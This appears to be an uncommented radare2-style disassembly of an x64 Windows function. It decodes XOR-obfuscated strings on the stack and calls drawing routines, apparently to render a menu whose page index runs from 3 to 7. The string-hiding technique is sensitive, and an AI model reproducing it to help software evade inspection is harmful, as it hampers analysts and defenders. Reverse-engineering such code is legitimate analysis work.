mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1050], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1058], rcx
lea rcx, [rbp + 0x1070]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1060], rax
movabs rax, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1050]
mov qword [rbp + 0x1068], rax
xorps xmm0, xmmword [rbp + 0x1060]
movdqa xmmword [rbp + 0x1050], xmm0
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5ca4]
mov ebx, eax
movss xmm1, dword [0x1400c5d30]
lea rcx, [rbp + 0x4c8]
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
lea rcx, [rbp + 0x1050]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
lea rcx, [0x1415574e0]
mov rsi, rax
call fcn.14002b430
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1080]
mov r8d, edx
mov rdi, rax
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5ca4]
lea rcx, [rbp + 0x4d0]
movss xmm1, dword [0x1400c5d78]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rcx
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
lea rdx, [0x141557678]
mov rdi, rax
lea rcx, [rbp + 0x1090]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5cbc]
lea rcx, [rbp + 0x4d8]
movss xmm1, dword [0x1400c5d20]
mov ebx, eax
call fcn.1400013d0
xor esi, esi
lea rcx, [0x1400c2328]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov rdx, r14
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
movabs rdx, 0x4fe8f3a12dd0f9e0
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x292bd9b971a500d0
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x10a0], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x10a8], rcx
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x10c0]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x10b0], rax
mov qword [rbp + 0x10], rdx
lea rdx, [0x141557678]
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x10a0]
mov qword [rbp + 0x10b8], rax
xorps xmm0, xmmword [rbp + 0x10b0]
movdqa xmmword [rbp + 0x10a0], xmm0
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5cbc]
lea rcx, [rbp + 0x4e0]
movss xmm1, dword [0x1400c5d30]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
lea rcx, [rbp + 0x10a0]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
lea rcx, [0x1415574c0]
mov rsi, rax
call fcn.14002b430
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x10d0]
mov r8d, edx
mov rdi, rax
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5cbc]
lea rcx, [rbp + 0x4e8]
movss xmm1, dword [0x1400c5d5c]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rcx
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
lea rdx, [0x141557678]
mov rdi, rax
lea rcx, [rbp + 0x10e0]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5ce0]
lea rcx, [rbp + 0x4f0]
movss xmm1, dword [0x1400c5d20]
mov ebx, eax
call fcn.1400013d0
xor esi, esi
lea rcx, [0x1400c232c]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov rdx, r14
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov rcx, rdi
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
lea rdx, [0x141557678]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4662c7b966b90bd3
mov qword [rbp + 0x10], rax
movabs rax, 0x4fe8f3a12dd0c392
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x10f0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x10f8], rcx
lea rcx, [rbp + 0x1110]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1100], rax
movabs rax, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x10f0]
mov qword [rbp + 0x1108], rax
xorps xmm0, xmmword [rbp + 0x1100]
movdqa xmmword [rbp + 0x10f0], xmm0
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5ce0]
lea rcx, [rbp + 0x4f8]
movss xmm1, dword [0x1400c5d30]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
lea rcx, [rbp + 0x10f0]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
lea rcx, [0x1415574a0]
mov rsi, rax
call fcn.14002b430
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1120]
mov r8d, edx
mov rdi, rax
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5ce0]
lea rcx, [rbp + 0x500]
movss xmm1, dword [0x1400c5d68]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rcx
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
lea rdx, [0x141557678]
lea rcx, [rbp + 0x1130]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5cf4]
lea rcx, [rbp + 0x508]
movss xmm1, dword [0x1400c5d20]
mov ebx, eax
call fcn.1400013d0
xor esi, esi
lea rcx, [0x1400c2330]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov rdx, r14
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
movabs rdx, 0x4fe8f3a12dd0f9e0
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x2911b4dc3f9538ce
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1140], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1148], rcx
lea rcx, [rbp + 0x1160]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1150], rax
mov qword [rbp + 0x10], rdx
lea rdx, [0x141557678]
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1140]
mov qword [rbp + 0x1158], rax
xorps xmm0, xmmword [rbp + 0x1150]
movdqa xmmword [rbp + 0x1140], xmm0
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5cf4]
lea rcx, [rbp + 0x510]
movss xmm1, dword [0x1400c5d30]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
lea rcx, [rbp + 0x1140]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
lea rcx, [0x141557470]
mov rsi, rax
call fcn.14002b430
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1170]
mov r8d, edx
mov rdi, rax
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5cf4]
mov ebx, eax
movss xmm1, dword [0x1400c5d48]
lea rcx, [rbp + 0x518]
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rcx
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
lea rdx, [0x141557678]
mov rdi, rax
lea rcx, [rbp + 0x1180]
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5d10]
lea rcx, [rbp + 0x520]
movss xmm1, dword [0x1400c5d20]
mov ebx, eax
call fcn.1400013d0
xor esi, esi
lea rcx, [0x1400c2334]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov rdx, r14
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
movabs rdx, 0x4fe8f3a12dd0f9e0
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x2911b4e66ea510c7
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1190], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1198], rcx
lea rcx, [rbp + 0x11b0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x11a0], rax
mov qword [rbp + 0x10], rdx
lea rdx, [0x141557678]
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1190]
mov qword [rbp + 0x11a8], rax
xorps xmm0, xmmword [rbp + 0x11a0]
movdqa xmmword [rbp + 0x1190], xmm0
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5d10]
lea rcx, [rbp + 0x528]
movss xmm1, dword [0x1400c5d30]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
lea rcx, [rbp + 0x1190]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
lea rcx, [0x141557500]
mov rsi, rax
call fcn.14002b430
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x11c0]
mov r8d, edx
mov rdi, rax
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5d10]
lea rcx, [rbp + 0x530]
movss xmm1, dword [0x1400c5d48]
mov ebx, eax
call fcn.1400013d0
mov rdx, qword [0x1415573c8]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rcx
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
cmp dword [0x1415573e0], 6
jne 0x140048df4
call fcn.1400128f0
mov edx, 0x10
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x11d0]
mov r8d, edx
mov rsi, rax
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5da4]
lea rcx, [rbp + 0x538]
movss xmm1, dword [0x1400c5cb8]
mov edi, eax
call fcn.1400013d0
movaps xmm2, xmm14
lea rcx, [rbp + 0x540]
movaps xmm1, xmm14
mov rbx, rax
call fcn.1400013d0
mov r9d, edi
mov dword [rsp + 0x28], 0
mov r8, rbx
movss dword [rsp + 0x20], xmm14
mov rdx, rax
mov rcx, rsi
call fcn.140023a00
movaps xmm2, xmm7
lea rcx, [rbp + 0x548]
movaps xmm1, xmm7
call fcn.1400013d0
mov rcx, rax
call fcn.1400165e0
call fcn.1400168d0
mov rcx, r14
call fcn.140012310
movaps xmm2, xmm15
lea rcx, [rbp + 0x550]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 3
lea rdx, [0x1400c22e4]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x140048646
mov dword [0x1415573e0], 3
movaps xmm2, xmm15
lea rcx, [rbp + 0x558]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 4
lea rdx, [0x1400c22e8]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x140048681
mov dword [0x1415573e0], 4
movaps xmm2, xmm15
lea rcx, [rbp + 0x560]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 5
lea rdx, [0x1400c22ec]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x1400486bc
mov dword [0x1415573e0], 5
movaps xmm2, xmm15
lea rcx, [rbp + 0x568]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 6
lea rdx, [0x1400c22f0]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x1400486f7
mov dword [0x1415573e0], 6
movaps xmm2, xmm15
lea rcx, [rbp + 0x570]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 7
lea rdx, [0x1400c22f4]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x140048732
mov dword [0x1415573e0], 7
call fcn.1400123b0
call fcn.140016a30
mov rcx, qword [0x1415573b8]
call fcn.140012310
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x11e0]
mov r8d, edx
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm1, dword [0x1400c5be0]
lea rcx, [0x141557678]
mov esi, eax
call fcn.140004650
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x11f0]
mov r8d, edx
mov edi, eax
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5dd0]
lea rcx, [rbp + 0x578]
movss xmm1, dword [0x1400c5cc8]
mov ebx, eax
call fcn.1400013d0
movabs rcx, 0x2fa0d557e5debcea
mov r9d, edi
mov r8d, ebx
movss xmm2, dword [rax]
movss xmm3, dword [rax + 4]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x942949e258359d0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e80], rax
movabs rax, 0x6fb8d3e80d82d9a3
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e88], rax
movabs rax, 0x1b8693f5a95c9719
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e90], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e98], rax
movabs rax, 0x2911b4dc05d67983
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ea0], rax
movabs rax, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ea8], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1eb0], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x1e80]
mov rax, qword [rbp + 0x10]
unpcklps xmm2, xmm3
mov qword [rbp + 0x1eb8], rax
movq rdx, xmm2
vmovdqu ymm0, ymmword [rbp + 0x1ea0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e80]
vmovss xmm0, dword [0x1400c5b8c]
vmovss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], esi
vmovdqa ymmword [rbp + 0x1e80], ymm1
vzeroupper
call fcn.1400361e0
call fcn.1400123b0
call fcn.1400168d0
call fcn.1400128f0
mov rdi, rax
lea rdx, [0x141557678]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4c63d0b844f629ca
mov qword [rbp + 0x10], rax
movabs rax, 0x4fe8f3a12dea8a93
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1200], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1208], rcx
lea rcx, [rbp + 0x1220]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1210], rax
movabs rax, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1200]
mov qword [rbp + 0x1218], rax
xorps xmm0, xmmword [rbp + 0x1210]
movdqa xmmword [rbp + 0x1200], xmm0
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5c9c]
lea rcx, [rbp + 0x580]
movss xmm1, dword [0x1400c5cc8]
mov ebx, eax
call fcn.1400013d0
movss xmm2, dword [0x1400c5c60]
lea rcx, [rbp + 0x1200]
mov rdx, qword [0x1415573c8]
xor esi, esi
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1230]
mov r8d, edx
mov rdi, rax
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5c9c]
lea rcx, [rbp + 0x588]
movss xmm1, dword [0x1400c5d0c]
mov ebx, eax
call fcn.1400013d0
movss xmm2, dword [0x1400c5c60]
lea rcx, str.NULL
mov rdx, qword [0x1415573c8]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x4c63d5ab61a418cb
mov qword [rbp + 0x10], rax
lea rdx, [0x141557678]
mov rcx, qword [rbp + 0x10]
movabs rax, 0x298187cf48b4b0c0
mov qword [rbp + 0x1ec0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x21a6dcd3fd74d424
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1ec8], rcx
movabs rcx, 0x2fa0d557e5debcea
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ed0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ed8], rax
movabs rax, 0x2911b4dc05d67983
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ee0], rax
movabs rax, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ee8], rax
movabs rax, 0x1bc8b3ba8915b74d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ef0], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x1240]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ef8], rax
vmovdqu ymm0, ymmword [rbp + 0x1ee0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1ec0]
vmovdqa ymmword [rbp + 0x1ec0], ymm1
vzeroupper
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5cac]
lea rcx, [rbp + 0x590]
movss xmm1, dword [0x1400c5cc8]
mov ebx, eax
call fcn.1400013d0
movss xmm2, dword [0x1400c5c60]
lea rcx, [rbp + 0x1ec0]
mov rdx, qword [0x1415573c8]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1250]
mov r8d, edx
mov rdi, rax
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5cac]
lea rcx, [rbp + 0x598]
movss xmm1, dword [0x1400c5d44]
mov ebx, eax
call fcn.1400013d0
movss xmm2, dword [0x1400c5c60]
lea rcx, str.NULL
mov rdx, qword [0x1415573c8]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov rdi, rax
lea rdx, [0x141557678]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1374c7b260b510cf
mov qword [rbp + 0x10], rax
movabs rax, 0x4fe8f3a12dd0f9c0
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1260], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0x2911b4dc05d67983
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1268], rcx
lea rcx, [rbp + 0x1280]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1270], rax
movabs rax, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1260]
mov qword [rbp + 0x1278], rax
xorps xmm0, xmmword [rbp + 0x1270]
movdqa xmmword [rbp + 0x1260], xmm0
call fcn.1400334f0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5cbc]
lea rcx, [rbp + 0x5a0]
movss xmm1, dword [0x1400c5cc8]
mov ebx, eax
call fcn.1400013d0
movss xmm2, dword [0x1400c5c60]
lea rcx, [rbp + 0x1260]
mov rdx, qword [0x1415573c8]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.1400128f0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1290]
mov r8d, edx
mov rdi, rax
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5cbc]
lea rcx, [rbp + 0x5a8]
movss xmm1, dword [0x1400c5cf8]
mov ebx, eax
call fcn.1400013d0
movss xmm2, dword [0x1400c5c60]
lea rcx, [0x141557590]
mov rdx, qword [0x1415573c8]
mov r9, rax
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140023cc0
call fcn.140016a30
jmp 0x140048df6
xor esi, esi
cmp dword [0x1415573e0], 7
jne 0x140049a72
mov rcx, qword [0x1415573b8]
call fcn.140012310
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x12a0]
mov r8d, edx
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm1, dword [0x1400c5be0]
lea rcx, [0x141557678]
mov esi, eax
call fcn.140004650
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x12b0]
mov r8d, edx
mov edi, eax
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm1, dword [0x1400c5d34]
lea rcx, [rbp + 0x5b0]
movaps xmm2, xmm15
mov ebx, eax
call fcn.1400013d0
mov r9d, edi
lea rcx, [rbp + 0x12c0]
mov r8d, ebx
movss xmm1, dword [rax]
movss xmm2, dword [rax + 4]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x9459488259359d0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x12c0], rax
movabs rax, 0x4fbbd3e60d9ed9a9
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x12c8], rax
movabs rax, 0x2911b4dc05d67983
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x12d0], rax
movabs rax, 0x4fe8f3a12dd0f9e0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x12c0]
mov qword [rbp + 0x12d8], rax
xorps xmm0, xmmword [rbp + 0x12d0]
movdqa xmmword [rbp + 0x12c0], xmm0
movss xmm0, dword [0x1400c5b8c]
unpcklps xmm1, xmm2
movss dword [rsp + 0x28], xmm0
movq rdx, xmm1
mov dword [rsp + 0x20], esi
call fcn.1400361e0
call fcn.1400123b0
call fcn.1400128f0
mov edx, 0x10
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x12e0]
mov r8d, edx
mov rsi, rax
call fcn.14002b3c0
mov rcx, rax
call fcn.140033500
movss xmm2, dword [0x1400c5da4]
lea rcx, [rbp + 0x5b8]
movss xmm1, dword [0x1400c5cb8]
mov edi, eax
call fcn.1400013d0
mov rbx, rax
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rbp + 0x5c0]
call fcn.1400013d0
mov r9d, edi
mov dword [rsp + 0x28], 0
mov r8, rbx
movss dword [rsp + 0x20], xmm14
mov rdx, rax
mov rcx, rsi
call fcn.140023a00
movaps xmm2, xmm7
lea rcx, [rbp + 0x5c8]
movaps xmm1, xmm7
call fcn.1400013d0
mov rcx, rax
call fcn.1400165e0
call fcn.1400168d0
mov rcx, r14
call fcn.140012310
movaps xmm2, xmm15
lea rcx, [rbp + 0x5d0]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 3
lea rdx, [0x1400c22e4]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x140049035
mov dword [0x1415573e0], 3
movaps xmm2, xmm15
lea rcx, [rbp + 0x5d8]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 4
lea rdx, [0x1400c22e8]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x140049070
mov dword [0x1415573e0], 4
movaps xmm2, xmm15
lea rcx, [rbp + 0x5e0]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 5
lea rdx, [0x1400c22ec]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x1400490ab
mov dword [0x1415573e0], 5
movaps xmm2, xmm15
lea rcx, [rbp + 0x5e8]
movaps xmm1, xmm15
call fcn.1400013d0
cmp dword [0x1415573e0], 6
lea rdx, [0x1400c22f0]
mov r8, rax
sete cl
call fcn.1400368d0
test al, al
je 0x1400490e6
mov dword [0x1415573e0], 6
